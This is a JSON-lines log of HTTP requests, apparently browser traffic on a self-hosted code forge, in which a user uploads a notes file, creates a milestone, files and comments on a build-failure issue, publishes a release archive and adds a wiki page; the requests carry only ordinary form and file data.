{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
||||||
|
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
|
||||||
|
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
|
||||||
|
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
